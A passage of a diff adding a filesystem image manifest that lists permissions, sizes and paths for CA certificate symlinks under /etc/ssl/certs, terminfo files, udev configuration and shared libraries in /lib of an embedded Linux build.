+lrwxrwxrwx root root 20 ./etc/ssl/certs/b66938e9.0 -> Secure_Global_CA.pem
+lrwxrwxrwx root root 23 ./etc/ssl/certs/b727005e.0 -> AffirmTrust_Premium.pem
+lrwxrwxrwx root root 37 ./etc/ssl/certs/b7a5b843.0 -> TWCA_Root_Certification_Authority.pem
+lrwxrwxrwx root root 31 ./etc/ssl/certs/ba89ed3b.0 -> thawte_Primary_Root_CA_-_G3.pem
+lrwxrwxrwx root root 72 ./etc/ssl/certs/Baltimore_CyberTrust_Root.pem -> ../../../usr/share/ca-certificates/mozilla/Baltimore_CyberTrust_Root.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/Buypass_Class_2_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Buypass_Class_2_Root_CA.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/Buypass_Class_3_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Buypass_Class_3_Root_CA.crt
+lrwxrwxrwx root root 51 ./etc/ssl/certs/c01cdfa2.0 -> VeriSign_Universal_Root_Certification_Authority.pem
+lrwxrwxrwx root root 31 ./etc/ssl/certs/c089bbbd.0 -> thawte_Primary_Root_CA_-_G2.pem
+lrwxrwxrwx root root 64 ./etc/ssl/certs/c0ff1f52.0 -> Verisign_Class_3_Public_Primary_Certification_Authority_-_G3.pem
+lrwxrwxrwx root root 34 ./etc/ssl/certs/c28a8a30.0 -> D-TRUST_Root_Class_3_CA_2_2009.pem
+lrwxrwxrwx root root 36 ./etc/ssl/certs/c47d9980.0 -> Chambers_of_Commerce_Root_-_2008.pem
+lrwxrwxrwx root root 37 ./etc/ssl/certs/ca6e4ad9.0 -> ePKI_Root_Certification_Authority.pem
+-rw-r--r-- root root 200061 ./etc/ssl/certs/ca-certificates.crt
+lrwxrwxrwx root root 63 ./etc/ssl/certs/CA_Disig_Root_R2.pem -> ../../../usr/share/ca-certificates/mozilla/CA_Disig_Root_R2.crt
+lrwxrwxrwx root root 44 ./etc/ssl/certs/cbf06781.0 -> Go_Daddy_Root_Certificate_Authority_-_G2.pem
+lrwxrwxrwx root root 14 ./etc/ssl/certs/cc450945.0 -> Izenpe.com.pem
+lrwxrwxrwx root root 34 ./etc/ssl/certs/cd58d51e.0 -> Security_Communication_RootCA2.pem
+lrwxrwxrwx root root 20 ./etc/ssl/certs/cd8c0d63.0 -> AC_RAIZ_FNMT-RCM.pem
+lrwxrwxrwx root root 20 ./etc/ssl/certs/ce5e74ef.0 -> Amazon_Root_CA_1.pem
+lrwxrwxrwx root root 55 ./etc/ssl/certs/Certigna.pem -> ../../../usr/share/ca-certificates/mozilla/Certigna.crt
+lrwxrwxrwx root root 67 ./etc/ssl/certs/Certinomis_-_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Certinomis_-_Root_CA.crt
+lrwxrwxrwx root root 74 ./etc/ssl/certs/Certplus_Class_2_Primary_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Certplus_Class_2_Primary_CA.crt
+lrwxrwxrwx root root 63 ./etc/ssl/certs/certSIGN_ROOT_CA.pem -> ../../../usr/share/ca-certificates/mozilla/certSIGN_ROOT_CA.crt
+lrwxrwxrwx root root 74 ./etc/ssl/certs/Certum_Trusted_Network_CA_2.pem -> ../../../usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA_2.crt
+lrwxrwxrwx root root 72 ./etc/ssl/certs/Certum_Trusted_Network_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA.crt
+lrwxrwxrwx root root 59 ./etc/ssl/certs/CFCA_EV_ROOT.pem -> ../../../usr/share/ca-certificates/mozilla/CFCA_EV_ROOT.crt
+lrwxrwxrwx root root 79 ./etc/ssl/certs/Chambers_of_Commerce_Root_-_2008.pem -> ../../../usr/share/ca-certificates/mozilla/Chambers_of_Commerce_Root_-_2008.crt
+lrwxrwxrwx root root 71 ./etc/ssl/certs/Comodo_AAA_Services_root.pem -> ../../../usr/share/ca-certificates/mozilla/Comodo_AAA_Services_root.crt
+lrwxrwxrwx root root 77 ./etc/ssl/certs/COMODO_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/COMODO_Certification_Authority.crt
+lrwxrwxrwx root root 81 ./etc/ssl/certs/COMODO_ECC_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/COMODO_ECC_Certification_Authority.crt
+lrwxrwxrwx root root 81 ./etc/ssl/certs/COMODO_RSA_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/COMODO_RSA_Certification_Authority.crt
+lrwxrwxrwx root root 69 ./etc/ssl/certs/Cybertrust_Global_Root.pem -> ../../../usr/share/ca-certificates/mozilla/Cybertrust_Global_Root.crt
+lrwxrwxrwx root root 37 ./etc/ssl/certs/d4dae3dd.0 -> D-TRUST_Root_Class_3_CA_2_EV_2009.pem
+lrwxrwxrwx root root 38 ./etc/ssl/certs/d6325660.0 -> COMODO_RSA_Certification_Authority.pem
+lrwxrwxrwx root root 22 ./etc/ssl/certs/d7e8dc79.0 -> QuoVadis_Root_CA_2.pem
+lrwxrwxrwx root root 23 ./etc/ssl/certs/d853d49e.0 -> Trustis_FPS_Root_CA.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/dc4d6a89.0 -> GlobalSign_Root_CA_-_R6.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/dd8e9d41.0 -> DigiCert_Global_Root_G3.pem
+lrwxrwxrwx root root 20 ./etc/ssl/certs/de6d66f3.0 -> Amazon_Root_CA_4.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/def36a68.0 -> LuxTrust_Global_Root_2.pem
+lrwxrwxrwx root root 73 ./etc/ssl/certs/Deutsche_Telekom_Root_CA_2.pem -> ../../../usr/share/ca-certificates/mozilla/Deutsche_Telekom_Root_CA_2.crt
+lrwxrwxrwx root root 74 ./etc/ssl/certs/DigiCert_Assured_ID_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_CA.crt
+lrwxrwxrwx root root 74 ./etc/ssl/certs/DigiCert_Assured_ID_Root_G2.pem -> ../../../usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G2.crt
+lrwxrwxrwx root root 74 ./etc/ssl/certs/DigiCert_Assured_ID_Root_G3.pem -> ../../../usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G3.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/DigiCert_Global_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/DigiCert_Global_Root_CA.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/DigiCert_Global_Root_G2.pem -> ../../../usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G2.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/DigiCert_Global_Root_G3.pem -> ../../../usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G3.crt
+lrwxrwxrwx root root 81 ./etc/ssl/certs/DigiCert_High_Assurance_EV_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/DigiCert_High_Assurance_EV_Root_CA.crt
+lrwxrwxrwx root root 71 ./etc/ssl/certs/DigiCert_Trusted_Root_G4.pem -> ../../../usr/share/ca-certificates/mozilla/DigiCert_Trusted_Root_G4.crt
+lrwxrwxrwx root root 61 ./etc/ssl/certs/DST_Root_CA_X3.pem -> ../../../usr/share/ca-certificates/mozilla/DST_Root_CA_X3.crt
+lrwxrwxrwx root root 77 ./etc/ssl/certs/D-TRUST_Root_Class_3_CA_2_2009.pem -> ../../../usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_2009.crt
+lrwxrwxrwx root root 80 ./etc/ssl/certs/D-TRUST_Root_Class_3_CA_2_EV_2009.pem -> ../../../usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_EV_2009.crt
+lrwxrwxrwx root root 12 ./etc/ssl/certs/e113c810.0 -> Certigna.pem
+lrwxrwxrwx root root 25 ./etc/ssl/certs/e18bfb83.0 -> QuoVadis_Root_CA_3_G3.pem
+lrwxrwxrwx root root 49 ./etc/ssl/certs/e2799e36.0 -> GeoTrust_Primary_Certification_Authority_-_G3.pem
+lrwxrwxrwx root root 25 ./etc/ssl/certs/e36a6752.0 -> Atos_TrustedRoot_2011.pem
+lrwxrwxrwx root root 35 ./etc/ssl/certs/e73d606e.0 -> OISTE_WISeKey_Global_Root_GB_CA.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/e8de2f56.0 -> Buypass_Class_3_Root_CA.pem
+lrwxrwxrwx root root 53 ./etc/ssl/certs/EC-ACC.pem -> ../../../usr/share/ca-certificates/mozilla/EC-ACC.crt
+lrwxrwxrwx root root 28 ./etc/ssl/certs/ee64a828.0 -> Comodo_AAA_Services_root.pem
+lrwxrwxrwx root root 78 ./etc/ssl/certs/EE_Certification_Centre_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/EE_Certification_Centre_Root_CA.crt
+lrwxrwxrwx root root 38 ./etc/ssl/certs/eed8c118.0 -> COMODO_ECC_Certification_Authority.pem
+lrwxrwxrwx root root 34 ./etc/ssl/certs/ef954a4e.0 -> IdenTrust_Commercial_Root_CA_1.pem
+lrwxrwxrwx root root 88 ./etc/ssl/certs/Entrust.net_Premium_2048_Secure_Server_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Entrust.net_Premium_2048_Secure_Server_CA.crt
+lrwxrwxrwx root root 89 ./etc/ssl/certs/Entrust_Root_Certification_Authority_-_EC1.pem -> ../../../usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_EC1.crt
+lrwxrwxrwx root root 88 ./etc/ssl/certs/Entrust_Root_Certification_Authority_-_G2.pem -> ../../../usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_G2.crt
+lrwxrwxrwx root root 83 ./etc/ssl/certs/Entrust_Root_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority.crt
+lrwxrwxrwx root root 80 ./etc/ssl/certs/ePKI_Root_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/ePKI_Root_Certification_Authority.crt
+lrwxrwxrwx root root 78 ./etc/ssl/certs/E-Tugra_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/E-Tugra_Certification_Authority.crt
+lrwxrwxrwx root root 31 ./etc/ssl/certs/f060240e.0 -> Certplus_Class_2_Primary_CA.pem
+lrwxrwxrwx root root 23 ./etc/ssl/certs/f081611a.0 -> Go_Daddy_Class_2_CA.pem
+lrwxrwxrwx root root 47 ./etc/ssl/certs/f0c70a8d.0 -> SSL.com_EV_Root_Certification_Authority_ECC.pem
+lrwxrwxrwx root root 41 ./etc/ssl/certs/f30dd6ad.0 -> USERTrust_ECC_Certification_Authority.pem
+lrwxrwxrwx root root 34 ./etc/ssl/certs/f3377b1b.0 -> Security_Communication_Root_CA.pem
+lrwxrwxrwx root root 24 ./etc/ssl/certs/f387163d.0 -> Starfield_Class_2_CA.pem
+lrwxrwxrwx root root 18 ./etc/ssl/certs/f39fc864.0 -> SecureTrust_CA.pem
+lrwxrwxrwx root root 41 ./etc/ssl/certs/fc5a8f99.0 -> USERTrust_RSA_Certification_Authority.pem
+lrwxrwxrwx root root 19 ./etc/ssl/certs/fe8a2cd8.0 -> SZAFIR_ROOT_CA2.pem
+lrwxrwxrwx root root 49 ./etc/ssl/certs/ff34af3f.0 -> TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.pem
+lrwxrwxrwx root root 69 ./etc/ssl/certs/GDCA_TrustAUTH_R5_ROOT.pem -> ../../../usr/share/ca-certificates/mozilla/GDCA_TrustAUTH_R5_ROOT.crt
+lrwxrwxrwx root root 65 ./etc/ssl/certs/GeoTrust_Global_CA.pem -> ../../../usr/share/ca-certificates/mozilla/GeoTrust_Global_CA.crt
+lrwxrwxrwx root root 92 ./etc/ssl/certs/GeoTrust_Primary_Certification_Authority_-_G2.pem -> ../../../usr/share/ca-certificates/mozilla/GeoTrust_Primary_Certification_Authority_-_G2.crt
+lrwxrwxrwx root root 92 ./etc/ssl/certs/GeoTrust_Primary_Certification_Authority_-_G3.pem -> ../../../usr/share/ca-certificates/mozilla/GeoTrust_Primary_Certification_Authority_-_G3.crt
+lrwxrwxrwx root root 87 ./etc/ssl/certs/GeoTrust_Primary_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/GeoTrust_Primary_Certification_Authority.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/GeoTrust_Universal_CA_2.pem -> ../../../usr/share/ca-certificates/mozilla/GeoTrust_Universal_CA_2.crt
+lrwxrwxrwx root root 68 ./etc/ssl/certs/GeoTrust_Universal_CA.pem -> ../../../usr/share/ca-certificates/mozilla/GeoTrust_Universal_CA.crt
+lrwxrwxrwx root root 77 ./etc/ssl/certs/Global_Chambersign_Root_-_2008.pem -> ../../../usr/share/ca-certificates/mozilla/Global_Chambersign_Root_-_2008.crt
+lrwxrwxrwx root root 74 ./etc/ssl/certs/GlobalSign_ECC_Root_CA_-_R4.pem -> ../../../usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R4.crt
+lrwxrwxrwx root root 74 ./etc/ssl/certs/GlobalSign_ECC_Root_CA_-_R5.pem -> ../../../usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R5.crt
+lrwxrwxrwx root root 65 ./etc/ssl/certs/GlobalSign_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/GlobalSign_Root_CA.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/GlobalSign_Root_CA_-_R2.pem -> ../../../usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R2.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/GlobalSign_Root_CA_-_R3.pem -> ../../../usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R3.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/GlobalSign_Root_CA_-_R6.pem -> ../../../usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R6.crt
+lrwxrwxrwx root root 66 ./etc/ssl/certs/Go_Daddy_Class_2_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Go_Daddy_Class_2_CA.crt
+lrwxrwxrwx root root 87 ./etc/ssl/certs/Go_Daddy_Root_Certificate_Authority_-_G2.pem -> ../../../usr/share/ca-certificates/mozilla/Go_Daddy_Root_Certificate_Authority_-_G2.crt
+lrwxrwxrwx root root 106 ./etc/ssl/certs/Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.pem -> ../../../usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.crt
+lrwxrwxrwx root root 102 ./etc/ssl/certs/Hellenic_Academic_and_Research_Institutions_RootCA_2011.pem -> ../../../usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_RootCA_2011.crt
+lrwxrwxrwx root root 102 ./etc/ssl/certs/Hellenic_Academic_and_Research_Institutions_RootCA_2015.pem -> ../../../usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_RootCA_2015.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/Hongkong_Post_Root_CA_1.pem -> ../../../usr/share/ca-certificates/mozilla/Hongkong_Post_Root_CA_1.crt
+lrwxrwxrwx root root 77 ./etc/ssl/certs/IdenTrust_Commercial_Root_CA_1.pem -> ../../../usr/share/ca-certificates/mozilla/IdenTrust_Commercial_Root_CA_1.crt
+lrwxrwxrwx root root 80 ./etc/ssl/certs/IdenTrust_Public_Sector_Root_CA_1.pem -> ../../../usr/share/ca-certificates/mozilla/IdenTrust_Public_Sector_Root_CA_1.crt
+lrwxrwxrwx root root 59 ./etc/ssl/certs/ISRG_Root_X1.pem -> ../../../usr/share/ca-certificates/mozilla/ISRG_Root_X1.crt
+lrwxrwxrwx root root 57 ./etc/ssl/certs/Izenpe.com.pem -> ../../../usr/share/ca-certificates/mozilla/Izenpe.com.crt
+lrwxrwxrwx root root 69 ./etc/ssl/certs/LuxTrust_Global_Root_2.pem -> ../../../usr/share/ca-certificates/mozilla/LuxTrust_Global_Root_2.crt
+lrwxrwxrwx root root 77 ./etc/ssl/certs/Microsec_e-Szigno_Root_CA_2009.pem -> ../../../usr/share/ca-certificates/mozilla/Microsec_e-Szigno_Root_CA_2009.crt
+lrwxrwxrwx root root 91 ./etc/ssl/certs/NetLock_Arany_=Class_Gold=_Főtanúsítvány.pem -> ../../../usr/share/ca-certificates/mozilla/NetLock_Arany_=Class_Gold=_Főtanúsítvány.crt
+lrwxrwxrwx root root 86 ./etc/ssl/certs/Network_Solutions_Certificate_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/Network_Solutions_Certificate_Authority.crt
+lrwxrwxrwx root root 78 ./etc/ssl/certs/OISTE_WISeKey_Global_Root_GA_CA.pem -> ../../../usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GA_CA.crt
+lrwxrwxrwx root root 78 ./etc/ssl/certs/OISTE_WISeKey_Global_Root_GB_CA.pem -> ../../../usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GB_CA.crt
+lrwxrwxrwx root root 78 ./etc/ssl/certs/OISTE_WISeKey_Global_Root_GC_CA.pem -> ../../../usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GC_CA.crt
+lrwxrwxrwx root root 68 ./etc/ssl/certs/QuoVadis_Root_CA_1_G3.pem -> ../../../usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_1_G3.crt
+lrwxrwxrwx root root 68 ./etc/ssl/certs/QuoVadis_Root_CA_2_G3.pem -> ../../../usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2_G3.crt
+lrwxrwxrwx root root 65 ./etc/ssl/certs/QuoVadis_Root_CA_2.pem -> ../../../usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2.crt
+lrwxrwxrwx root root 68 ./etc/ssl/certs/QuoVadis_Root_CA_3_G3.pem -> ../../../usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3_G3.crt
+lrwxrwxrwx root root 65 ./etc/ssl/certs/QuoVadis_Root_CA_3.pem -> ../../../usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3.crt
+lrwxrwxrwx root root 63 ./etc/ssl/certs/QuoVadis_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/QuoVadis_Root_CA.crt
+lrwxrwxrwx root root 63 ./etc/ssl/certs/Secure_Global_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Secure_Global_CA.crt
+lrwxrwxrwx root root 66 ./etc/ssl/certs/SecureSign_RootCA11.pem -> ../../../usr/share/ca-certificates/mozilla/SecureSign_RootCA11.crt
+lrwxrwxrwx root root 61 ./etc/ssl/certs/SecureTrust_CA.pem -> ../../../usr/share/ca-certificates/mozilla/SecureTrust_CA.crt
+lrwxrwxrwx root root 77 ./etc/ssl/certs/Security_Communication_RootCA2.pem -> ../../../usr/share/ca-certificates/mozilla/Security_Communication_RootCA2.crt
+lrwxrwxrwx root root 77 ./etc/ssl/certs/Security_Communication_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Security_Communication_Root_CA.crt
+lrwxrwxrwx root root 69 ./etc/ssl/certs/Sonera_Class_2_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Sonera_Class_2_Root_CA.crt
+lrwxrwxrwx root root 90 ./etc/ssl/certs/SSL.com_EV_Root_Certification_Authority_ECC.pem -> ../../../usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_ECC.crt
+lrwxrwxrwx root root 93 ./etc/ssl/certs/SSL.com_EV_Root_Certification_Authority_RSA_R2.pem -> ../../../usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_RSA_R2.crt
+lrwxrwxrwx root root 87 ./etc/ssl/certs/SSL.com_Root_Certification_Authority_ECC.pem -> ../../../usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_ECC.crt
+lrwxrwxrwx root root 87 ./etc/ssl/certs/SSL.com_Root_Certification_Authority_RSA.pem -> ../../../usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_RSA.crt
+lrwxrwxrwx root root 79 ./etc/ssl/certs/Staat_der_Nederlanden_EV_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Staat_der_Nederlanden_EV_Root_CA.crt
+lrwxrwxrwx root root 81 ./etc/ssl/certs/Staat_der_Nederlanden_Root_CA_-_G2.pem -> ../../../usr/share/ca-certificates/mozilla/Staat_der_Nederlanden_Root_CA_-_G2.crt
+lrwxrwxrwx root root 81 ./etc/ssl/certs/Staat_der_Nederlanden_Root_CA_-_G3.pem -> ../../../usr/share/ca-certificates/mozilla/Staat_der_Nederlanden_Root_CA_-_G3.crt
+lrwxrwxrwx root root 67 ./etc/ssl/certs/Starfield_Class_2_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Starfield_Class_2_CA.crt
+lrwxrwxrwx root root 88 ./etc/ssl/certs/Starfield_Root_Certificate_Authority_-_G2.pem -> ../../../usr/share/ca-certificates/mozilla/Starfield_Root_Certificate_Authority_-_G2.crt
+lrwxrwxrwx root root 97 ./etc/ssl/certs/Starfield_Services_Root_Certificate_Authority_-_G2.pem -> ../../../usr/share/ca-certificates/mozilla/Starfield_Services_Root_Certificate_Authority_-_G2.crt
+lrwxrwxrwx root root 69 ./etc/ssl/certs/SwissSign_Gold_CA_-_G2.pem -> ../../../usr/share/ca-certificates/mozilla/SwissSign_Gold_CA_-_G2.crt
+lrwxrwxrwx root root 71 ./etc/ssl/certs/SwissSign_Silver_CA_-_G2.pem -> ../../../usr/share/ca-certificates/mozilla/SwissSign_Silver_CA_-_G2.crt
+lrwxrwxrwx root root 62 ./etc/ssl/certs/SZAFIR_ROOT_CA2.pem -> ../../../usr/share/ca-certificates/mozilla/SZAFIR_ROOT_CA2.crt
+lrwxrwxrwx root root 58 ./etc/ssl/certs/Taiwan_GRCA.pem -> ../../../usr/share/ca-certificates/mozilla/Taiwan_GRCA.crt
+lrwxrwxrwx root root 69 ./etc/ssl/certs/TeliaSonera_Root_CA_v1.pem -> ../../../usr/share/ca-certificates/mozilla/TeliaSonera_Root_CA_v1.crt
+lrwxrwxrwx root root 74 ./etc/ssl/certs/thawte_Primary_Root_CA_-_G2.pem -> ../../../usr/share/ca-certificates/mozilla/thawte_Primary_Root_CA_-_G2.crt
+lrwxrwxrwx root root 74 ./etc/ssl/certs/thawte_Primary_Root_CA_-_G3.pem -> ../../../usr/share/ca-certificates/mozilla/thawte_Primary_Root_CA_-_G3.crt
+lrwxrwxrwx root root 69 ./etc/ssl/certs/thawte_Primary_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/thawte_Primary_Root_CA.crt
+lrwxrwxrwx root root 61 ./etc/ssl/certs/TrustCor_ECA-1.pem -> ../../../usr/share/ca-certificates/mozilla/TrustCor_ECA-1.crt
+lrwxrwxrwx root root 69 ./etc/ssl/certs/TrustCor_RootCert_CA-1.pem -> ../../../usr/share/ca-certificates/mozilla/TrustCor_RootCert_CA-1.crt
+lrwxrwxrwx root root 69 ./etc/ssl/certs/TrustCor_RootCert_CA-2.pem -> ../../../usr/share/ca-certificates/mozilla/TrustCor_RootCert_CA-2.crt
+lrwxrwxrwx root root 66 ./etc/ssl/certs/Trustis_FPS_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Trustis_FPS_Root_CA.crt
+lrwxrwxrwx root root 75 ./etc/ssl/certs/T-TeleSec_GlobalRoot_Class_2.pem -> ../../../usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_2.crt
+lrwxrwxrwx root root 75 ./etc/ssl/certs/T-TeleSec_GlobalRoot_Class_3.pem -> ../../../usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_3.crt
+lrwxrwxrwx root root 92 ./etc/ssl/certs/TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.pem -> ../../../usr/share/ca-certificates/mozilla/TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.crt
+lrwxrwxrwx root root 66 ./etc/ssl/certs/TWCA_Global_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/TWCA_Global_Root_CA.crt
+lrwxrwxrwx root root 80 ./etc/ssl/certs/TWCA_Root_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/TWCA_Root_Certification_Authority.crt
+lrwxrwxrwx root root 84 ./etc/ssl/certs/USERTrust_ECC_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/USERTrust_ECC_Certification_Authority.crt
+lrwxrwxrwx root root 84 ./etc/ssl/certs/USERTrust_RSA_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/USERTrust_RSA_Certification_Authority.crt
+lrwxrwxrwx root root 107 ./etc/ssl/certs/Verisign_Class_3_Public_Primary_Certification_Authority_-_G3.pem -> ../../../usr/share/ca-certificates/mozilla/Verisign_Class_3_Public_Primary_Certification_Authority_-_G3.crt
+lrwxrwxrwx root root 107 ./etc/ssl/certs/VeriSign_Class_3_Public_Primary_Certification_Authority_-_G4.pem -> ../../../usr/share/ca-certificates/mozilla/VeriSign_Class_3_Public_Primary_Certification_Authority_-_G4.crt
+lrwxrwxrwx root root 107 ./etc/ssl/certs/VeriSign_Class_3_Public_Primary_Certification_Authority_-_G5.pem -> ../../../usr/share/ca-certificates/mozilla/VeriSign_Class_3_Public_Primary_Certification_Authority_-_G5.crt
+lrwxrwxrwx root root 94 ./etc/ssl/certs/VeriSign_Universal_Root_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/VeriSign_Universal_Root_Certification_Authority.crt
+lrwxrwxrwx root root 67 ./etc/ssl/certs/XRamp_Global_CA_Root.pem -> ../../../usr/share/ca-certificates/mozilla/XRamp_Global_CA_Root.crt
+-rw-r--r-- root root 10909 ./etc/ssl/openssl.cnf
+drwxr-xr-x root root 4096 ./etc/ssl/private
+-rw-r--r-- root root 2128 ./etc/sysctl.conf
+-rw-r--r-- root root 69 ./etc/syslog.conf
+-rw-r--r-- root root 651 ./etc/syslog-startup.conf
+drwxr-xr-x root root 4096 ./etc/terminfo
+drwxr-xr-x root root 4096 ./etc/terminfo/a
+-rw-r--r-- root root 1481 ./etc/terminfo/a/ansi
+drwxr-xr-x root root 4096 ./etc/terminfo/d
+-rw-r--r-- root root 308 ./etc/terminfo/d/dumb
+drwxr-xr-x root root 4096 ./etc/terminfo/l
+-rw-r--r-- root root 1730 ./etc/terminfo/l/linux
+drwxr-xr-x root root 4096 ./etc/terminfo/r
+-rw-r--r-- root root 2222 ./etc/terminfo/r/rxvt
+drwxr-xr-x root root 4096 ./etc/terminfo/s
+-rw-r--r-- root root 1573 ./etc/terminfo/s/screen
+-rw-r--r-- root root 1687 ./etc/terminfo/s/screen-256color
+-rw-r--r-- root root 1004 ./etc/terminfo/s/sun
+drwxr-xr-x root root 4096 ./etc/terminfo/v
+-rw-r--r-- root root 1190 ./etc/terminfo/v/vt100
+-rw-r--r-- root root 1184 ./etc/terminfo/v/vt102
+-rw-r--r-- root root 1377 ./etc/terminfo/v/vt200
+-rw-r--r-- root root 1377 ./etc/terminfo/v/vt220
+-rw-r--r-- root root 470 ./etc/terminfo/v/vt52
+drwxr-xr-x root root 4096 ./etc/terminfo/x
+-rw-r--r-- root root 3780 ./etc/terminfo/x/xterm-256color
+-rw-r--r-- root root 1551 ./etc/terminfo/x/xterm-color
+-rw-r--r-- root root 2240 ./etc/terminfo/x/xterm-xfree86
+lrwxrwxrwx root root 11 ./etc/terminfo/x/xterm -> xterm-color
+-rw-r--r-- root root 15 ./etc/timestamp
+drwxr-xr-x root root 4096 ./etc/udev
+drwxr-xr-x root root 4096 ./etc/udev/rules.d
+-rw-r--r-- root root 0 ./etc/udev/rules.d/80-net-name-slot.rules
+-rw-r--r-- root root 885 ./etc/udev/rules.d/local.rules
+-rw-r--r-- root root 49 ./etc/udev/udev.conf
+drwxr-xr-x root root 4096 ./etc/udhcpc.d
+-rwxr-xr-x root root 2652 ./etc/udhcpc.d/50default
+-rw-r--r-- root root 15 ./etc/version
+-rw-r--r-- root root 642 ./etc/xattr.conf
+drwxr-xr-x root root 4096 ./home
+drwx------ root root 4096 ./home/root
+drwxr-xr-x root root 4096 ./lib
+drwxr-xr-x root root 4096 ./lib/depmod.d
+-rw-r--r-- root root 71 ./lib/depmod.d/search.conf
+-rwxr-xr-x root root 177712 ./lib/ld-2.31.so
+lrwxrwxrwx root root 10 ./lib/ld-linux-x86-64.so.2 -> ld-2.31.so
+-rwxr-xr-x root root 18696 ./lib/libanl-2.31.so
+lrwxrwxrwx root root 14 ./lib/libanl.so.1 -> libanl-2.31.so
+-rwxr-xr-x root root 326600 ./lib/libblkid.so.1.1.0
+lrwxrwxrwx root root 17 ./lib/libblkid.so.1 -> libblkid.so.1.1.0
+-rwxr-xr-x root root 14296 ./lib/libBrokenLocale-2.31.so
+lrwxrwxrwx root root 23 ./lib/libBrokenLocale.so.1 -> libBrokenLocale-2.31.so
+-rwxr-xr-x root root 1806504 ./lib/libc-2.31.so
+-rwxr-xr-x root root 26512 ./lib/libcap-ng.so.0.0.0
+lrwxrwxrwx root root 18 ./lib/libcap-ng.so.0 -> libcap-ng.so.0.0.0
+-rw-r--r-- root root 39152 ./lib/libcap.so.2.33
+lrwxrwxrwx root root 14 ./lib/libcap.so.2 -> libcap.so.2.33
+lrwxrwxrwx root root 11 ./lib/libcap.so -> libcap.so.2
+-rwxr-xr-x root root 18320 ./lib/libcom_err.so.2.1
